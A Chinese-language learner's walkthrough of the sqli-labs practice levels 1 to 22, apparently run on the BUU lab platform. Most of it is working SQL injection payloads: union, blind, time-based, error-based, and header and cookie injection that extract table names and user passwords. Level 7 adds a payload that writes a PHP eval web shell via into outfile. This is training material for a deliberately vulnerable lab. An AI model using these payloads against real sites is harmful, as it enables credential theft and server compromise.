开始说明:
本次文章所需要的技术借鉴了B站大佬crowsec录制视频时所用的技术,旨在记录所学成果,同时我也会附上自己的总结心得,还望诸位大佬多多指正。本次所需工具为hackbar;我这里使用的靶场为buu靶场,所以无环境搭建过程。
第一关
作为一个刚接触的sql注入的小白来讲,构造payload语句简直要了老命,十分难记。不过没有办法,多多练习。
看第一关的名字,single quote:单引号;
我们先打卡harkbar或者直接用url传参,?id=1 --+
看看效果;
这里为啥用–+呢,因为我们输入的语句会被传到数据库构成语句执行,所以
为了输入句子不受干扰,输入–+把后面直接注释掉。当然#也可以。
接下来我们用’试试是否会显示出报错。输入?id=1’
出现报错,这是因为在MySQL数据库中的id是被‘’包裹的,输入id=1’则会有’1’‘的效果,接下来就是直接上语句了;先了解一下order by是什么意思;
是个排序的,如此说来,我们只要输入对应的值,就可以了解到其中的记录数量;输入?id=1’ order by 3–+
输入?id=1’ order by 4 --+
这里因为省时间所以用3,4.实际上可以用二分法,先来个数值大的,不行的话则折中,不行再折中…可以快速定位;接下来我们了解一下联合查询语句,union select;
我们之前通过order by就可以得知参与排序的有三个字段,这里用联合查询语句试验一下;这里要给1’填上-号,防止1’被执行了,后面没union select什么事情了。?id=-1’ union select 1,2,3–+
执行效果如下:
发现2和3被显现出来,接下来了解新的语句。database(),group_concat()。和各名称:schema_name,information_schema.xxx,tables_schema,table_name,column_name,具体啥意思,请自行百度。
接下来输入语句?id=-1’ union select 1,2,database()–+,把3换成database()是因为其会在数据库中执行select database()指令,进而显示数据库名称。
发现数据库名称security,当然也可以看全部库名,输入:?id=-1’ union select 1,2,group_concat(schema_name) from information_schema.schemata --+
接下来继续构造:?id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = ‘security’ --+(‘security’可以替换成0x security的哈希值)
继续:?id=-1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name = ‘users’ --+(‘users’可以替换成0x users的哈希值)
看到了password和username了,在此之前,我们先了解一下concat_ws()的用法。然后构造语句:?id=-1’ union select 1,2,group_concat(password,username) from security.users --+
或者构造:?id=-1’ union select 1,2,concat_ws(’~’,username,password) from security.users limit 1,1 --+(limit 1,1前面的1可以换成2,3什么的,会有不同的结果显示出);
总结:第一关的语句尤其需要牢记,因为后面大部分的payload构造基本上是换汤不换药。
第二关
先看标题,based-Intiger:
当然不能这么说,他的意思是字符型注入;所以只需把id=1’改成id=1就可以,其余与第一题一致;
第三关
继续看标题(肯定不能看标题就得出如何注入,还得看源码。),直接用id=’)即可;
第四关
看标题,直接用id=1"即可;
第五关
这一关我们得了解一下盲注,用到语句left(),substr(),ascii();直接上语句;基本语句用法与第一关差不多,先用order by接着直接上语句:?id=1’ and left((select database()),1)=‘s’ --+
如将s改为a,则:
所以继续构造语句:?id=1’ and left((select database()),2)=‘se’ --+
?id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1 ),1,1))>1–+
接下来只要对select table_name from information_schema.tables where table_schema=‘security’ limit 0,1内容替换即可。可根据回显猜出数值;这么做很费时间,所以一般用burpsuite来爆破解决;
总结:前面所学的联合查询,这里则是盲注,要多加练习;
第六关
id=1",余下同上;
第七关
第七关则需认识新语句,load_file(),与into outfile(),这里因为使用buu的缘故,所以无法很好的掌握路径进而写入一句话木马,所以不予展示,只展示构造语句:?id=-1’)) union select 1,2’<?php @eval ($_POST[a]);?>’ into outfile ‘path’–+然后连接;(如果是Windows地下的文件地址要用\代替);
第八关
这里是基于时间的盲注,也可使用布尔盲注,但是我想写时间盲注。所以得知晓新语句,if(),sleep(),length();
具体语句如下:?id=1’ and if(length(database())=8,sleep(5),sleep(1))–+
会发现页面加载五秒才跳转,如果长度不是8,则会加载一秒;
接下来使用语句ascii():?id=1’ and if( ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1 ),1,1))>1,sleep(1),sleep(5))–+,会发现页面开始加载。
余下进行猜解,步骤类似;
第九关
同上;
第十关
同上,除了id=1"
第十一关
这里看到一个框,再看看标题。这里就与前些关不同。为POST型注入。所以我们先去搜索一个万能密码试一下。
连续试了几次仍然是这个样子,所以这里我们抓包看看;
因为我们输入账号是123,密码是123,所以我们将uname=123&passwd=123&submit=Submit截取,放入hackbar的POST DATA中;
将uname值更改,发现注入点,构造payload语句:uname=123’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=‘security’ #&passwd=123&submit=Submit
余下与上面类似;
第十二关
uname=1",其余与第十一关相同;
第十三关
开始以为与上面类似,构造语句:uname=123’ )union select 1,group_concat(table_name) from information_schema.tables where table_schema=‘security’ #&passwd=123&submit=Submit
结果并无回显,开始猜测是否为盲注;构造语句:uname=123’) or if(length(database())=8,1,sleep(3)) #&passwd=admin&submit=Submit,余下内容同上。(疑惑:为啥这题在buu上写uname=123’) or if(length(database())=8,sleep(5),sleep(3)) #&passwd=admin&submit=Submit则不停加载,很疑惑。)
第十四关
把上一关的123’)换成123"),其余不变;
第十五关
与passwd处进行注入,单引号。其余同上;
第十六关
passwd=admin")其余同上;
第十七关
这一关主要介绍了爆破注入,我们需要知晓新的语句,updatexml();构造语句:uname=admin&passwd=admin’ and updatexml(1,concat(0x7e,(select password from security.users limit 3,1),0x7e),1)#&submit=Submit
蓝色区域可以类似替换查询,与上关类似;
第十八关
这一关需要的条件是输入正确的账号与密码,并了解http头协议。本关的要点在于User-Agent处可以注入;操作如下:
先输入正确的账号密码,分别为admin,admin;
输入后抓包可与hackbar中粘贴:uname=admin&passwd=admin&submit=Submit,点击传参。
所见蓝色区域内。这里我们用Firefox的工具,modify header value。构造payload:’ or updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),1),",")#
于是可发现报错注入结果;语句构造与上面类似;
第十九关
十九关于refer-headers处注入;所以继续使用modify header value修改,payload:'or updatexml(1,concat(0x7e,(database())),1) or ‘1’='1
可见为报错注入;语句构造与前关类似;
第二十关
此关于cookie处注入,别问我是怎么知道的;
需要用的工具为cookie editor;直接构造payload:'union select 1,2,database()#
保存后发送刷新可得,
其余语句类似;
第二十一关
本关在于将cookie的value值用base64编码,其余同上;
第二十二关
本关在于闭合时用的是"而非’,并且value值也用base64编码。其余同上;